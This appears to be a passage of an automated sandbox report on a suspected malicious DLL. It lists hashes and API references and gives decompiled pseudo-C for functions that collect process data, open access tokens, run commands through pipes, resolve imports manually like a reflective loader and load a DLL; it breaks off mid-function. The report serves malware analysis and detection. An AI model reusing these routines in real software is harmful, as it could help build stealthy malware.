API String ID: 0-2132903582
Opcode ID: 364df9fe7b991f9922a6be78a145a66828db9a4dfbca72df53d33081ddc41dc4
Instruction ID: d874a9aa623062b49d23ee0b6015644caf07264cab35c6c4f795bef42fb9359d
Opcode Fuzzy Hash: 364df9fe7b991f9922a6be78a145a66828db9a4dfbca72df53d33081ddc41dc4
Instruction Fuzzy Hash: A941D43164420E9BFB159EAF8D9DBBE3A78FF01314F100C36FA51DA346E261C99082D2

Uniqueness

Uniqueness Score: -1.00%

Function 6D802237, Relevance: 7.6, APIs: 5, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6D802237(char* __eax, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t9;
				signed char _t11;
				char** _t19;
				char _t22;
				long long _t32;
				long long _t33;

				_t9 = __eax;
				L6D802305();
				_t19 = _a4;
				_t22 =  *__eax;
				if( *_t22 != 0x2e) {
					_t9 = strchr( *_t19, 0x2e);
					if(_t9 != 0) {
						 *_t9 =  *_t22;
					}
				}
				L6D8022C9();
				 *_t9 =  *_t9 & 0x00000000;
				_t11 = strtod( *_t19,  &_v8);
				asm("fst qword [ebp-0xc]");
				_t32 =  *0x6d808250;
				asm("fucomp st1");
				asm("fnstsw ax");
				if((_t11 & 0x00000044) != 0) {
					L5:
					st0 = _t32;
					L6D8022C9();
					if( *_t11 != 0x22) {
						_t33 = _v16;
						goto L8;
					} else {
						return _t11 | 0xffffffff;
					}
				} else {
					_t33 =  *0x6d808258;
					asm("fucomp st1");
					asm("fnstsw ax");
					if((_t11 & 0x00000044) != 0) {
						L8:
						 *_a8 = _t33;
						return 0;
					} else {
						goto L5;
					}
				}
			}

0x6d802237
0x6d80223f
0x6d802244
0x6d802247
0x6d80224c
0x6d802252
0x6d80225b
0x6d80225f
0x6d80225f
0x6d80225b
0x6d802261
0x6d802266
0x6d80226f
0x6d802274
0x6d802277
0x6d802280
0x6d802282
0x6d802289
0x6d80229a
0x6d80229a
0x6d80229c
0x6d8022a4
0x6d8022ab
0x00000000
0x6d8022a6
0x6d8022aa
0x6d8022aa
0x6d80228b
0x6d80228b
0x6d802291
0x6d802293
0x6d802298
0x6d8022ae
0x6d8022b1
0x6d8022b6
0x00000000
0x00000000
0x00000000
0x6d802298

APIs

localeconv.MSVCRT ref: 6D80223F
strchr.MSVCRT ref: 6D802252
_errno.MSVCRT ref: 6D802261
strtod.MSVCRT ref: 6D80226F
_errno.MSVCRT ref: 6D80229C

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: 749b0d083e6caa1eeb0e61540ec652f886b4140c7090302b7cdb1e0b4e85f757
Instruction ID: 220ea539f3d81310c1e59a40a78f78e781ded3d94fb0c8d4c0ffcfb225197fec
Opcode Fuzzy Hash: 749b0d083e6caa1eeb0e61540ec652f886b4140c7090302b7cdb1e0b4e85f757
Instruction Fuzzy Hash: B3014C35808105ABDB212FA8DD0C759BBBCAF4B364F6209D0DA80771E0CBF89454C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FCFC6, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D7FCFC6(void* __ecx) {
				intOrPtr _t11;
				long _t12;
				intOrPtr _t17;
				intOrPtr _t18;
				struct _OSVERSIONINFOA* _t29;

				_push(__ecx);
				_t29 =  *0x6d80e688; // 0x2910590
				GetCurrentProcess();
				_t11 = E6D7FBA47();
				_t1 = _t29 + 0x1644; // 0x2911bd4
				_t25 = _t1;
				 *((intOrPtr*)(_t29 + 0x110)) = _t11;
				_t12 = GetModuleFileNameW(0, _t1, 0x105);
				_t33 = _t12;
				if(_t12 != 0) {
					_t12 = E6D7F8F9F(_t25, _t33);
				}
				_t3 = _t29 + 0x228; // 0x29107b8
				 *(_t29 + 0x1854) = _t12;
				 *((intOrPtr*)(_t29 + 0x434)) = E6D7F8F9F(_t3, _t33);
				memset(_t29, 0, 0x9c);
				_t29->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t29);
				 *((intOrPtr*)(_t29 + 0x1640)) = GetCurrentProcessId();
				_t17 = E6D7FE3F8(_t3);
				_t7 = _t29 + 0x220; // 0x29107b0
				 *((intOrPtr*)(_t29 + 0x21c)) = _t17;
				_t18 = E6D7FE433(_t7);
				 *((intOrPtr*)(_t29 + 0x218)) = _t18;
				return _t18;
			}

0x6d7fcfc9
0x6d7fcfcb
0x6d7fcfd2
0x6d7fcfda
0x6d7fcfe4
0x6d7fcfe4
0x6d7fcfea
0x6d7fcff3
0x6d7fcff9
0x6d7fcffb
0x6d7fcfff
0x6d7fcfff
0x6d7fd004
0x6d7fd00a
0x6d7fd01a
0x6d7fd024
0x6d7fd02c
0x6d7fd02f
0x6d7fd03b
0x6d7fd041
0x6d7fd046
0x6d7fd04c
0x6d7fd052
0x6d7fd058
0x6d7fd060

APIs

GetCurrentProcess.KERNEL32(?,?,02910590,?,6D7F3538), ref: 6D7FCFD2
GetModuleFileNameW.KERNEL32(00000000,02911BD4,00000105,?,?,02910590,?,6D7F3538), ref: 6D7FCFF3
memset.MSVCRT ref: 6D7FD024
GetVersionExA.KERNEL32(02910590,02910590,?,6D7F3538), ref: 6D7FD02F
GetCurrentProcessId.KERNEL32(?,6D7F3538), ref: 6D7FD035

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentProcess$FileModuleNameVersionmemset
String ID:
API String ID: 3581039275-0
Opcode ID: a81acb6c40b55da3e006a7bc0858767f0df07d0552f339d3a3d28efacf19ac9b
Instruction ID: 1ffe095baf044719cad8d89b8edbad3cce9f6c52ac43e0bcfc777f2e1ac1f51f
Opcode Fuzzy Hash: a81acb6c40b55da3e006a7bc0858767f0df07d0552f339d3a3d28efacf19ac9b
Instruction Fuzzy Hash: 7E017170905B009FDB20AF71C90DBEA7BF9EF85320F41082DE66683340EB746542CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FB988, Relevance: 7.5, APIs: 5, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7FB988(void* __ecx) {
				void* _v8;
				void* _t9;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0 || GetLastError() == 0x3f0 && OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_t9 = _v8;
				} else {
					_t9 = 0;
				}
				return _t9;
			}

0x6d7fb9a7
0x6d7fb9d4
0x6d7fb9d0
0x6d7fb9d0
0x6d7fb9d0
0x6d7fb9d9

APIs

GetCurrentThread.KERNEL32(00000008,00000000,6D7F0000,00000000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB99B
OpenThreadToken.ADVAPI32(00000000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9A2
GetLastError.KERNEL32(?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9A9
GetCurrentProcess.KERNEL32(00000008,6D7F0000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9C2
OpenProcessToken.ADVAPI32(00000000,?,?,6D7FBABE,74EC17D9,6D7F0000), ref: 6D7FB9C9

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentOpenProcessThreadToken$ErrorLast
String ID:
API String ID: 102224034-0
Opcode ID: 3300741de038fba9da87b6861013c44016045982c8267c7ae47f54ecb22af97a
Instruction ID: 563ecb674c881a553059bccffcaf82a1dad2151ee8ef448884c1aee5bf5da687
Opcode Fuzzy Hash: 3300741de038fba9da87b6861013c44016045982c8267c7ae47f54ecb22af97a
Instruction Fuzzy Hash: 21F054B154010AEBDF109BA5C90DB6A73BCFF09354F004429F641D3240E770B901C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FA9F9, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D7FA9F9(signed int __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				struct _SECURITY_ATTRIBUTES _v48;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				short _v92;
				intOrPtr _v96;
				void _v140;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				long _t111;
				intOrPtr _t115;
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t111 = 0;
				_v24 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t127 = 0;
				_v8 = 0;
				_v16 = 0;
				_v48.nLength = 0xc;
				_v48.lpSecurityDescriptor = 0;
				_v48.bInheritHandle = 1;
				_v28 = 0;
				memset( &_v140, 0, 0x44);
				asm("stosd");
				_t130 = _t129 + 0xc;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				if(CreatePipe( &_v12,  &_v20,  &_v48, 0) == 0) {
					L18:
					return 0;
				}
				if(CreatePipe( &_v8,  &_v16,  &_v48, 0) == 0) {
					L13:
					E6D7F85FB( &_v28, 0);
					if(_v20 != 0) {
						_t77 =  *0x6d80e684; // 0x298faa0
						 *((intOrPtr*)(_t77 + 0x30))(_v20);
					}
					if(_v8 != 0) {
						_t115 =  *0x6d80e684; // 0x298faa0
						 *((intOrPtr*)(_t115 + 0x30))(_v8);
					}
					return _t111;
				}
				_t79 = _v16;
				_v76 = _t79;
				_v80 = _t79;
				_v84 = _v12;
				_v140 = 0x44;
				_v96 = 0x101;
				_v92 = 0;
				_t126 = E6D7F85E5(0x1001);
				_v28 = _t126;
				if(_t126 == 0) {
					goto L18;
				}
				_push( &_v64);
				_push( &_v140);
				_t85 =  *0x6d80e684; // 0x298faa0
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(1);
				_push(0);
				_push(0);
				_push(_v24);
				_push(0);
				if( *((intOrPtr*)(_t85 + 0x38))() == 0) {
					goto L13;
				}
				_t87 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t87 + 0x30))(_v12);
				_t89 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t89 + 0x30))(_v16);
				_v24 = _v24 & 0;
				do {
					_t92 =  *0x6d80e684; // 0x298faa0
					_v36 =  *((intOrPtr*)(_t92 + 0x88))(_v8, _t126, 0x1000,  &_v24, 0);
					 *((char*)(_v24 + _t126)) = 0;
					if(_t111 == 0) {
						_t127 = E6D7F9187(_t126, 0);
					} else {
						_push(0);
						_push(_t126);
						_v32 = _t127;
						_t127 = E6D7F9273(_t127);
						E6D7F85FB( &_v32, 0xffffffff);
						_t130 = _t130 + 0x14;
					}
					_t111 = _t127;
					_v32 = _t127;
				} while (_v36 != 0);
				_push( &_v36);
				_push(E6D7FC3BB(_t127));
				_t98 =  *0x6d80e68c; // 0x298fc68
				_push(_t127);
				if( *((intOrPtr*)(_t98 + 0xb8))() != 0) {
					L12:
					_t100 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t100 + 0x30))(_v64);
					_t102 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t102 + 0x30))(_v60);
					goto L13;
				}
				_t128 = E6D7F9237(_t127);
				if(_t128 == 0) {
					goto L12;
				}
				E6D7F85FB( &_v32, 0);
				return _t128;
			}

0x6d7faa04
0x6d7faa06
0x6d7faa12
0x6d7faa17
0x6d7faa1a
0x6d7faa1c
0x6d7faa1f
0x6d7faa22
0x6d7faa29
0x6d7faa2c
0x6d7faa33
0x6d7faa36
0x6d7faa40
0x6d7faa41
0x6d7faa44
0x6d7faa46
0x6d7faa47
0x6d7faa5e
0x6d7fabde
0x00000000
0x6d7fabde
0x6d7faa75
0x6d7fabaa
0x6d7fabb0
0x6d7fabbb
0x6d7fabbd
0x6d7fabc5
0x6d7fabc5
0x6d7fabcc
0x6d7fabce
0x6d7fabd7
0x6d7fabd7
0x00000000
0x6d7fabda
0x6d7faa7b
0x6d7faa7e
0x6d7faa81
0x6d7faa87
0x6d7faa91
0x6d7faa9b
0x6d7faaa2
0x6d7faaab
0x6d7faaad
0x6d7faab3
0x00000000
0x00000000
0x6d7faabe
0x6d7faac5
0x6d7faac6
0x6d7faacb
0x6d7faacc
0x6d7faacd
0x6d7faad2
0x6d7faad4
0x6d7faad5
0x6d7faad6
0x6d7faad9
0x6d7faadf
0x00000000
0x00000000
0x6d7faae5
0x6d7faaed
0x6d7faaf0
0x6d7faaf8
0x6d7faafb
0x6d7faafe
0x6d7fab04
0x6d7fab18
0x6d7fab1e
0x6d7fab24
0x6d7fab4d
0x6d7fab26
0x6d7fab26
0x6d7fab28
0x6d7fab2a
0x6d7fab32
0x6d7fab3a
0x6d7fab3f
0x6d7fab3f
0x6d7fab53
0x6d7fab55
0x6d7fab55
0x6d7fab5d
0x6d7fab65
0x6d7fab66
0x6d7fab6b
0x6d7fab74
0x6d7fab94
0x6d7fab94
0x6d7fab9c
0x6d7fab9f
0x6d7faba7
0x00000000
0x6d7faba7
0x6d7fab7d
0x6d7fab81
0x00000000
0x00000000
0x6d7fab89
0x00000000

APIs

memset.MSVCRT ref: 6D7FAA36
CreatePipe.KERNEL32(?,?,0000000C,00000000,00000000,00000000,00000000), ref: 6D7FAA5A
CreatePipe.KERNEL32(6D7F658A,?,0000000C,00000000), ref: 6D7FAA71

Part of subcall function 6D7F85E5: HeapAlloc.KERNEL32(00000008,?,?,6D7F8F65,00000100,?,6D7F5FAC), ref: 6D7F85F3

Part of subcall function 6D7F85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6D7F8641

Strings

D, xrefs: 6D7FAA91

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeapPipe$AllocFreememset
String ID: D
API String ID: 488076629-2746444292
Opcode ID: 34416c8a8fdaead2e0691edef6da3f809e7c84ea44c677bb381e2beda620cf7e
Instruction ID: f0e7413cd872774fda71bff2d870939d119cba14ca80cd48c662a1bef994c7e1
Opcode Fuzzy Hash: 34416c8a8fdaead2e0691edef6da3f809e7c84ea44c677bb381e2beda620cf7e
Instruction Fuzzy Hash: 3B510A71900209AFDF11CFA9C989FEEB7B9BF08314F11416AE610E7250EB749945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D8024D3, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6D8024D3(signed int __eax, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;

				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E6D7FE0DB(_v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x6d8024d9
0x6d8024e1
0x6d8024f6
0x6d802508
0x6d802514
0x6d80251a
0x6d80251f
0x6d80252b
0x6d802696
0x00000000
0x6d802696
0x6d802531
0x6d80253a
0x6d802548
0x6d80254b
0x6d80255a
0x6d80255a
0x6d802561
0x6d80256f
0x6d802572
0x6d802582
0x6d80258f
0x6d802596
0x6d8025a6
0x6d8025b8
0x6d8025be
0x6d8025a8
0x6d8025b0
0x6d8025b0
0x6d8025c1
0x6d8025c5
0x6d8025d1
0x6d8025d5
0x6d8025d9
0x6d8025dd
0x6d8025e9
0x6d802614
0x6d80261c
0x6d802622
0x6d80262e
0x6d80263a
0x6d8025eb
0x6d8025f0
0x6d8025fb
0x6d802607
0x6d802607
0x6d802643
0x6d802649
0x6d802653
0x6d80266f
0x6d802655
0x6d802658
0x6d802664
0x6d802664
0x6d802653
0x6d802677
0x6d802680
0x6d802680
0x6d80268e
0x00000000
0x6d80268e
0x6d80259a
0x00000000
0x6d80259a
0x00000000
0x6d802572
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 6D8024F0
LoadLibraryA.KERNEL32(00000000), ref: 6D802589

Strings

kernel32.dll, xrefs: 6D8024EB
GetProcAddress, xrefs: 6D8024F9

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: e75e60755f4678dce4de6371b06de409aba1286114d7b99cc9faf6539d737c92
Instruction ID: 745b1a287f61ef5f59b2d3f488031f8ca28d07e968b31c37386fcff90f854c31
Opcode Fuzzy Hash: e75e60755f4678dce4de6371b06de409aba1286114d7b99cc9faf6539d737c92
Instruction Fuzzy Hash: 2B618F75910209EFDB50CF98C885BADBBF1FF09315F208999E825AB391D774AA80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FC510, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6D7FC510(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				char* _t63;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x6d80e688; // 0x2910590
				_t1 = _t50 + 0x1898; // 0x0
				_t14 =  *_t1;
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E6D7F95C2(_t50, 0xb62);
					_t66 =  *0x6d80e688; // 0x2910590
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E6D7F9621( &_v140, 0x40, L"%08x", E6D7FD442(_t66 + 0xb0, E6D7FC3BB(_t66 + 0xb0), 0));
					_t20 =  *0x6d80e688; // 0x2910590
					_t7 = _t20 + 0xa8; // 0x1
					asm("sbb eax, eax");
					_t25 = E6D7F95C2(_t67, ( ~( *_t7) & 0x00000068) + 0x615);
					_t63 = "\\";
					_t26 =  *0x6d80e688; // 0x2910590
					_t68 = E6D7F92C6(_t26 + 0x1020);
					_v12 = _t68;
					E6D7F85B6( &_v8);
					_t32 =  *0x6d80e688; // 0x2910590
					_t34 = E6D7F92C6(_t32 + 0x122a);
					 *0x6d80e784 = _t34;
					_t35 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t35 + 0x110))(_t68, _t34, 0, _t63,  &_v140, ".", L"dll", 0, _t63, _t25, _t63, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x6d80e784);
					 *0x6d80e77c = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E6D7FE1B3(0x6d80bb40, _t60);
					}
					 *0x6d80e780 = _t38;
					E6D7F85FB( &_v12, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					if( *0x6d80e780 != 0) {
						goto L10;
					} else {
						E6D7F85FB(0x6d80e784, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x6d80e780 == 0) {
						_t46 =  *0x6d80e6bc; // 0x298fbc8
						 *0x6d80e780 = _t46;
					}
					L10:
					return 1;
				}
			}

0x6d7fc510
0x6d7fc510
0x6d7fc510
0x6d7fc513
0x6d7fc51f
0x6d7fc51f
0x6d7fc52a
0x6d7fc546
0x6d7fc54b
0x6d7fc554
0x6d7fc556
0x6d7fc55e
0x6d7fc57f
0x6d7fc584
0x6d7fc589
0x6d7fc591
0x6d7fc59c
0x6d7fc5a3
0x6d7fc5aa
0x6d7fc5bb
0x6d7fc5c1
0x6d7fc5c4
0x6d7fc5db
0x6d7fc5e7
0x6d7fc5ef
0x6d7fc5f6
0x6d7fc5fc
0x6d7fc608
0x6d7fc60e
0x6d7fc615
0x6d7fc628
0x6d7fc617
0x6d7fc617
0x6d7fc61a
0x6d7fc620
0x6d7fc625
0x6d7fc62a
0x6d7fc635
0x6d7fc647
0x6d7fc659
0x00000000
0x6d7fc65b
0x6d7fc662
0x00000000
0x6d7fc668
0x6d7fc669
0x6d7fc669
0x6d7fc670
0x6d7fc672
0x6d7fc677
0x6d7fc677
0x6d7fc67c
0x6d7fc680
0x6d7fc680

APIs

LoadLibraryW.KERNEL32 ref: 6D7FC608
memset.MSVCRT ref: 6D7FC647

Strings

dll, xrefs: 6D7FC5CA
%08x, xrefs: 6D7FC571

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadmemset
String ID: %08x$dll
API String ID: 3406617148-2963171978
Opcode ID: ce6194957ae62453d6a3400736d768fe685f090ed46bc702993f2409c77cf201
Instruction ID: 03d053ffe9993aed709d2cace358187deb0a689c1a922ae821cfe28db4154583
Opcode Fuzzy Hash: ce6194957ae62453d6a3400736d768fe685f090ed46bc702993f2409c77cf201
Instruction Fuzzy Hash: 783117B2904104ABEB218B68CE4DFAB33BCEF0A328F414529F514D7380EB349945C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D802DB0, Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E6D802DB0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0xec8b55c3
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xa1ec8b55
					_t12 = _t272 + 0x5c; // 0x23e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E6D805DD0(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E6D804B30(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x23e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
